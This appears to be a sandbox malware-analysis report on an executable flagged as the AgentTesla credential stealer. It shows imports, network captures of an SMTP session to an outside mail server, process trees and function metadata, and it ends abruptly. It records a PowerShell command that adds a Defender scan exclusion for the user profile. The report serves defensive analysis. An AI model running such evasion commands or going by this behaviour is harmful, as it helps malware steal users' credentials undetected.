.text	0x1000	0x655d8	0x65600	a83f1f68413cc5604ea156c8e93e3b1a	False	0.45910960619605423	data	6.657947877840493	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.managed	0x67000	0xb1c88	0xb1e00	7b21ac36faefbbd8cf5ba1dba17ccad1	False	0.46262023453970486	data	6.453352722930797	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
hydrated	0x119000	0x3f130	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x159000	0x6f824	0x6fa00	0c62474608d4c8d7e91cac30417a50ef	False	0.4840994190929451	zlib compressed data	6.509712991531217	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1c9000	0xd488	0x1800	f9836cce0b2cf07524bb2892ecd5dfca	False	0.20686848958333334	data	2.944302619462605	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x1d7000	0x107dc	0x10800	45a3194d8cdb409c1eb277bf8de8bbc5	False	0.4964044744318182	data	6.150240338049358	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x1e8000	0x3b100	0x3b200	8cab0d040450e6a9309c9442c962af41	False	0.9963456329281184	data	7.997985741276216	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x224000	0x570	0x600	5545a2e51f7a2893c697b39a79ed20ed	False	0.5950520833333334	data	5.168122039701614	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
BINARY	0x1e8130	0x3aa94	data	1.0003371123208311
RT_VERSION	0x222bc4	0x350	data	0.3785377358490566
RT_MANIFEST	0x222f14	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
ADVAPI32.dll	AdjustTokenPrivileges, CreateWellKnownSid, DeregisterEventSource, DuplicateTokenEx, GetSecurityDescriptorLength, GetTokenInformation, GetWindowsAccountDomainSid, LookupPrivilegeValueW, OpenProcessToken, OpenThreadToken, RegCloseKey, RegCreateKeyExW, RegDeleteKeyExW, RegDeleteTreeW, RegDeleteValueW, RegEnumKeyExW, RegEnumValueW, RegFlushKey, RegOpenKeyExW, RegQueryInfoKeyW, RegQueryValueExW, RegSetValueExA, RegSetValueExW, RegisterEventSourceW, ReportEventW, RevertToSelf, SetThreadToken
bcrypt.dll	BCryptOpenAlgorithmProvider, BCryptCloseAlgorithmProvider, BCryptDecrypt, BCryptDestroyKey, BCryptGenRandom
KERNEL32.dll	TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, InitializeCriticalSectionAndSpinCount, EncodePointer, AllocConsole, CancelThreadpoolIo, CloseHandle, CloseThreadpoolIo, CopyFileExW, CreateDirectoryW, CreateEventExW, CreateFileW, CreateProcessA, CreateSymbolicLinkW, CreateThreadpoolIo, DeleteCriticalSection, DeleteFileW, DeleteVolumeMountPointW, DeviceIoControl, DuplicateHandle, EnterCriticalSection, ExitProcess, ExpandEnvironmentStringsW, FileTimeToSystemTime, FindClose, FindFirstFileExW, FindNextFileW, FormatMessageW, FreeConsole, FreeLibrary, GetCPInfo, GetConsoleOutputCP, GetConsoleWindow, GetCurrentProcess, GetCurrentProcessId, GetCurrentProcessorNumberEx, GetCurrentThread, GetDynamicTimeZoneInformation, GetEnvironmentVariableW, GetFileAttributesExW, GetFileInformationByHandle, GetFileInformationByHandleEx, GetFileType, GetFinalPathNameByHandleW, GetFullPathNameW, GetLastError, GetLogicalDrives, GetLongPathNameW, GetModuleFileNameW, GetModuleHandleA, GetOverlappedResult, GetProcAddress, GetStdHandle, GetSystemTime, GetThreadPriority, GetTickCount64, GetTimeZoneInformation, GetVolumeInformationW, InitializeConditionVariable, InitializeCriticalSection, IsDebuggerPresent, LeaveCriticalSection, LoadLibraryExW, LocalAlloc, LocalFree, MoveFileExW, MultiByteToWideChar, QueryPerformanceCounter, QueryPerformanceFrequency, RaiseFailFastException, ReadFile, RemoveDirectoryW, ReplaceFileW, ResetEvent, ResumeThread, SetEvent, SetFileAttributesW, SetFileInformationByHandle, SetLastError, SetThreadErrorMode, SetThreadPriority, Sleep, SleepConditionVariableCS, StartThreadpoolIo, SystemTimeToFileTime, TzSpecificLocalTimeToSystemTime, VirtualAlloc, VirtualFree, WaitForMultipleObjectsEx, WakeConditionVariable, WideCharToMultiByte, WriteFile, FlushProcessWriteBuffers, WaitForSingleObjectEx, RtlVirtualUnwind, RtlCaptureContext, RtlRestoreContext, VerSetConditionMask, AddVectoredExceptionHandler, FlsAlloc, FlsGetValue, FlsSetValue, CreateEventW, SwitchToThread, CreateThread, GetCurrentThreadId, SuspendThread, GetThreadContext, SetThreadContext, QueryInformationJobObject, GetModuleHandleW, GetModuleHandleExW, GetProcessAffinityMask, VerifyVersionInfoW, InitializeContext, GetEnabledXStateFeatures, SetXStateFeaturesMask, VirtualQuery, GetSystemTimeAsFileTime, InitializeCriticalSectionEx, DebugBreak, WaitForSingleObject, SleepEx, GlobalMemoryStatusEx, GetSystemInfo, GetLogicalProcessorInformation, GetLogicalProcessorInformationEx, GetLargePageMinimum, VirtualUnlock, VirtualAllocExNuma, IsProcessInJob, GetNumaHighestNodeNumber, GetProcessGroupAffinity, K32GetProcessMemoryInfo, RaiseException, RtlPcToFileHeader, RtlUnwindEx, InitializeSListHead, IsProcessorFeaturePresent, TerminateProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, RtlLookupFunctionEntry
ole32.dll	CoWaitForMultipleHandles, CoGetApartmentType, CoCreateGuid, CoInitializeEx, CoUninitialize, CoTaskMemFree, CoTaskMemAlloc
api-ms-win-crt-math-l1-1-0.dll	__setusermatherr, modf, ceil
api-ms-win-crt-heap-l1-1-0.dll	_callnewh, free, _set_new_mode, calloc, malloc
api-ms-win-crt-string-l1-1-0.dll	strcmp, wcsncmp, _stricmp, strcpy_s
api-ms-win-crt-convert-l1-1-0.dll	strtoull
api-ms-win-crt-runtime-l1-1-0.dll	abort, _c_exit, terminate, _crt_atexit, _register_onexit_function, _initialize_onexit_table, _seh_filter_exe, _set_app_type, _configure_wide_argv, _initialize_wide_environment, _get_initial_wide_environment, _register_thread_local_exe_atexit_callback, _initterm_e, exit, _exit, _initterm, __p___argc, __p___wargv, _cexit
api-ms-win-crt-stdio-l1-1-0.dll	_set_fmode, __p__commode
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale

Exports

Name	Ordinal	Address
DotNetRuntimeDebugHeader	1	0x1401c9b90

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 15:54:55.037188053 CEST	49710	587	192.168.2.6	74.208.5.2
Jul 3, 2024 15:54:55.042073011 CEST	587	49710	74.208.5.2	192.168.2.6
Jul 3, 2024 15:54:55.042160034 CEST	49710	587	192.168.2.6	74.208.5.2
Jul 3, 2024 15:54:55.561348915 CEST	587	49710	74.208.5.2	192.168.2.6
Jul 3, 2024 15:54:55.562179089 CEST	49710	587	192.168.2.6	74.208.5.2
Jul 3, 2024 15:54:55.567097902 CEST	587	49710	74.208.5.2	192.168.2.6
Jul 3, 2024 15:54:56.099358082 CEST	587	49710	74.208.5.2	192.168.2.6
Jul 3, 2024 15:54:56.099536896 CEST	49710	587	192.168.2.6	74.208.5.2
Jul 3, 2024 15:54:56.099999905 CEST	587	49710	74.208.5.2	192.168.2.6
Jul 3, 2024 15:54:56.100096941 CEST	49710	587	192.168.2.6	74.208.5.2
Jul 3, 2024 15:54:56.104468107 CEST	587	49710	74.208.5.2	192.168.2.6
Jul 3, 2024 15:54:56.228851080 CEST	587	49710	74.208.5.2	192.168.2.6
Jul 3, 2024 15:54:56.237138033 CEST	49710	587	192.168.2.6	74.208.5.2
Jul 3, 2024 15:54:56.242249012 CEST	587	49710	74.208.5.2	192.168.2.6
Jul 3, 2024 15:54:56.368268013 CEST	587	49710	74.208.5.2	192.168.2.6
Jul 3, 2024 15:54:56.368283033 CEST	587	49710	74.208.5.2	192.168.2.6
Jul 3, 2024 15:54:56.368294954 CEST	587	49710	74.208.5.2	192.168.2.6
Jul 3, 2024 15:54:56.368359089 CEST	49710	587	192.168.2.6	74.208.5.2
Jul 3, 2024 15:54:56.371875048 CEST	49710	587	192.168.2.6	74.208.5.2
Jul 3, 2024 15:54:56.376815081 CEST	587	49710	74.208.5.2	192.168.2.6
Jul 3, 2024 15:54:56.500602007 CEST	587	49710	74.208.5.2	192.168.2.6
Jul 3, 2024 15:54:56.516979933 CEST	49710	587	192.168.2.6	74.208.5.2
Jul 3, 2024 15:54:56.521943092 CEST	587	49710	74.208.5.2	192.168.2.6
Jul 3, 2024 15:54:56.645030975 CEST	587	49710	74.208.5.2	192.168.2.6
Jul 3, 2024 15:54:56.645992994 CEST	49710	587	192.168.2.6	74.208.5.2
Jul 3, 2024 15:54:56.650866032 CEST	587	49710	74.208.5.2	192.168.2.6
Jul 3, 2024 15:54:56.774434090 CEST	587	49710	74.208.5.2	192.168.2.6
Jul 3, 2024 15:54:56.775393009 CEST	49710	587	192.168.2.6	74.208.5.2
Jul 3, 2024 15:54:56.780292988 CEST	587	49710	74.208.5.2	192.168.2.6
Jul 3, 2024 15:54:56.934437990 CEST	587	49710	74.208.5.2	192.168.2.6
Jul 3, 2024 15:54:56.934708118 CEST	49710	587	192.168.2.6	74.208.5.2
Jul 3, 2024 15:54:56.939755917 CEST	587	49710	74.208.5.2	192.168.2.6
Jul 3, 2024 15:54:57.062990904 CEST	587	49710	74.208.5.2	192.168.2.6
Jul 3, 2024 15:54:57.073254108 CEST	49710	587	192.168.2.6	74.208.5.2
Jul 3, 2024 15:54:57.078650951 CEST	587	49710	74.208.5.2	192.168.2.6
Jul 3, 2024 15:54:57.078752995 CEST	49710	587	192.168.2.6	74.208.5.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 15:54:55.021450996 CEST	62820	53	192.168.2.6	1.1.1.1
Jul 3, 2024 15:54:55.030194998 CEST	53	62820	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 3, 2024 15:54:55.021450996 CEST	192.168.2.6	1.1.1.1	0xf64b	Standard query (0)	smtp.ionos.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 3, 2024 15:54:55.030194998 CEST	1.1.1.1	192.168.2.6	0xf64b	No error (0)	smtp.ionos.com		74.208.5.2	A (IP address)	IN (0x0001)	false

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jul 3, 2024 15:54:55.561348915 CEST	587	49710	74.208.5.2	192.168.2.6	220 perfora.net (mreueus002) Nemesis ESMTP Service ready
Jul 3, 2024 15:54:55.562179089 CEST	49710	587	192.168.2.6	74.208.5.2	EHLO 065367
Jul 3, 2024 15:54:56.099358082 CEST	587	49710	74.208.5.2	192.168.2.6	250-perfora.net Hello 065367 [8.46.123.33] 250-8BITMIME 250-SIZE 141557760 250 STARTTLS
Jul 3, 2024 15:54:56.099536896 CEST	49710	587	192.168.2.6	74.208.5.2	STARTTLS
Jul 3, 2024 15:54:56.099999905 CEST	587	49710	74.208.5.2	192.168.2.6	250-perfora.net Hello 065367 [8.46.123.33] 250-8BITMIME 250-SIZE 141557760 250 STARTTLS
Jul 3, 2024 15:54:56.228851080 CEST	587	49710	74.208.5.2	192.168.2.6	220 OK

Target ID:	0
Start time:	09:54:50
Start date:	03/07/2024
Path:	C:\Users\user\Desktop\4munRyMrBm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\4munRyMrBm.exe"
Imagebase:	0x7ff7c5bb0000
File size:	1'919'488 bytes
MD5 hash:	72F322C11BDCF5920EE23F6FFFA7D0A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2097877620.000001CFBD400000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2097877620.000001CFBD400000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:54:51
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:54:51
Start date:	03/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:54:51
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:54:52
Start date:	03/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Imagebase:	0x9d0000
File size:	108'664 bytes
MD5 hash:	914F728C04D3EDDD5FBA59420E74E56B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.3326932398.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.3326932398.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.3327954890.00000000030EE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.3327954890.00000000030A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.3327954890.00000000030A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	09:54:55
Start date:	03/07/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff717f30000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	26.4%
Total number of Nodes:	932
Total number of Limit Nodes:	37

Executed Functions

Function 00007FF7C5BC2760 Relevance: 10.6, APIs: 7, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF7C5BBCCEA), ref: 00007FF7C5BC276F
GetNumaHighestNodeNumber.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF7C5BBCCEA), ref: 00007FF7C5BC27AD
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7C5BBCCEA), ref: 00007FF7C5BC27D9
GetProcessGroupAffinity.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF7C5BBCCEA), ref: 00007FF7C5BC27EA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7C5BBCCEA), ref: 00007FF7C5BC27F9
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7C5BBCCEA), ref: 00007FF7C5BC2890
GetProcessAffinityMask.KERNEL32 ref: 00007FF7C5BC28A3

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: Process$AffinityCurrent$ErrorGroupHighestInfoLastMaskNodeNumaNumberSystem
String ID:
API String ID: 580471860-0
Opcode ID: 45801e776555b8e194c9aa2d1e16ed710466e2a1524dc6a719c278de692efd2d
Instruction ID: a0265ed556f580824374aceaee1a9fefb1157cb92e3a70ebd297be23348bb6f0
Opcode Fuzzy Hash: 45801e776555b8e194c9aa2d1e16ed710466e2a1524dc6a719c278de692efd2d
Instruction Fuzzy Hash: 51513A71A18B4686EA40AF16A4842B9EBA1FF88FA0FC44032D98D47364DF2EF544C764

Function 00007FF7C5BB7D00 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7C5BBCCC0: FlsAlloc.KERNEL32(?,?,?,?,?,?,?,?,00007FF7C5BB7D0F,?,?,?,?,?,?,00007FF7C5BB1C00), ref: 00007FF7C5BBCCCB
Part of subcall function 00007FF7C5BBCCC0: QueryInformationJobObject.KERNEL32 ref: 00007FF7C5BBCD9E

Part of subcall function 00007FF7C5BBCA50: GetModuleHandleExW.KERNEL32(?,?,?,?,00007FF7C5BB7D38,?,?,?,?,?,?,00007FF7C5BB1C00), ref: 00007FF7C5BBCA61

RtlAddVectoredExceptionHandler.NTDLL ref: 00007FF7C5BB7D99
RaiseFailFastException.KERNEL32(?,?,?,?,?,?,00007FF7C5BB1C00), ref: 00007FF7C5BB7E83

Strings

TotalStressLogSize, xrefs: 00007FF7C5BB7DBA
StressLogLevel, xrefs: 00007FF7C5BB7DF5
The required instruction sets are not supported by the current CPU., xrefs: 00007FF7C5BB7E6F

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: Exception$AllocFailFastHandleHandlerInformationModuleObjectQueryRaiseVectored
String ID: The required instruction sets are not supported by the current CPU.$StressLogLevel$TotalStressLogSize
API String ID: 2052584837-2841289747
Opcode ID: f2b9abe9ea48f1f248b00dabf98db4d072048249cb7df99e1d28330ab400daa0
Instruction ID: 385f51516ae8b66d8b5abba5a6952c6565e08d9ccfaa942e97bb62fc67a1e9da
Opcode Fuzzy Hash: f2b9abe9ea48f1f248b00dabf98db4d072048249cb7df99e1d28330ab400daa0
Instruction Fuzzy Hash: B4417D72E08A4285E614BF2098422B9EB91AF41FA4FC85031ED4D1769ADFAFF805C374

Function 00007FF7C5C11544 Relevance: 3.2, APIs: 2, Instructions: 199
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF7C5C10C49,?,?,?,?,00007FF7C5BBE371,?,?,?,00007FF7C5BBE8F4,00000000,00000020,?), ref: 00007FF7C5C1155E
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7C5C11574

Part of subcall function 00007FF7C5C119A4: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7C5C119AD

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: Concurrency::cancel_current_taskmallocstd::bad_alloc::bad_alloc
String ID:
API String ID: 205171174-0
Opcode ID: 27e6cda894de4fa0304efac44748c012d57ffdf58763d5e7702285d7d28e6379
Instruction ID: 50f18cec87cf6a5d864db1799d615d75557e840ccb291cf28e4440205589cbb3
Opcode Fuzzy Hash: 27e6cda894de4fa0304efac44748c012d57ffdf58763d5e7702285d7d28e6379
Instruction Fuzzy Hash: E2818272E0874349F724AF25E881279BBA0EB14BB4F948679DA2D877D4DF3E95408720

Function 00007FF7C5BE3480 Relevance: .4, Instructions: 397COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: CurrentProcess
String ID:
API String ID: 2050909247-0
Opcode ID: f0dfdf7af6af81cb248c0b7d5687ff178028e7272b22a3959eccb5cdaccec322
Instruction ID: 2393cb354c949ce394375b26a82f7b4ae9696f076f6797b6e0e7dd96a151320e
Opcode Fuzzy Hash: f0dfdf7af6af81cb248c0b7d5687ff178028e7272b22a3959eccb5cdaccec322
Instruction Fuzzy Hash: AD02BE71E0874686FA15AF25A881638FBA1AF45FA5FD88635C40E13361DF7FB481C7A0

Function 00007FF7C5BE1D80 Relevance: .3, Instructions: 316COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e39a6d2a229733a357ef1439a5aa976bf2a0c87c5cc00d6ed37d4a0b7744e069
Instruction ID: 252de5c3194893fefa142ff1c7ed1080cac2de57db454f48f3dc81330c37e79c
Opcode Fuzzy Hash: e39a6d2a229733a357ef1439a5aa976bf2a0c87c5cc00d6ed37d4a0b7744e069
Instruction Fuzzy Hash: 1FF1B461D1DF4745F602FF24A9912B5E7A1BF95FA0FD88336E40E112A2EF6E74908360

Function 00007FF7C5BC2320 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7C5BC235C
IsProcessInJob.KERNEL32 ref: 00007FF7C5BC236C
QueryInformationJobObject.KERNEL32 ref: 00007FF7C5BC239C
GlobalMemoryStatusEx.KERNEL32 ref: 00007FF7C5BC240E
GlobalMemoryStatusEx.KERNELBASE ref: 00007FF7C5BC2449
GlobalMemoryStatusEx.KERNELBASE ref: 00007FF7C5BC2490

Strings

@, xrefs: 00007FF7C5BC243E
@, xrefs: 00007FF7C5BC23F6
@, xrefs: 00007FF7C5BC2485

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: GlobalMemoryStatus$Process$CurrentInformationObjectQuery
String ID: @$@$@
API String ID: 2645093340-1177533131
Opcode ID: 24ec87d12b26eb49bf664ef79eb868f4d5178a434dc5e340da1fb202b067f73e
Instruction ID: 3b95d2b244a3a8a53114196fc3eff761cdd01926d798836dd5d14ce202c0f1f2
Opcode Fuzzy Hash: 24ec87d12b26eb49bf664ef79eb868f4d5178a434dc5e340da1fb202b067f73e
Instruction Fuzzy Hash: 37412032608AC186EB719F11E4547AAF7A0FB84B70F884235DBAD47AD8DF3DE4458B14

Function 00007FF7C5BBCCC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

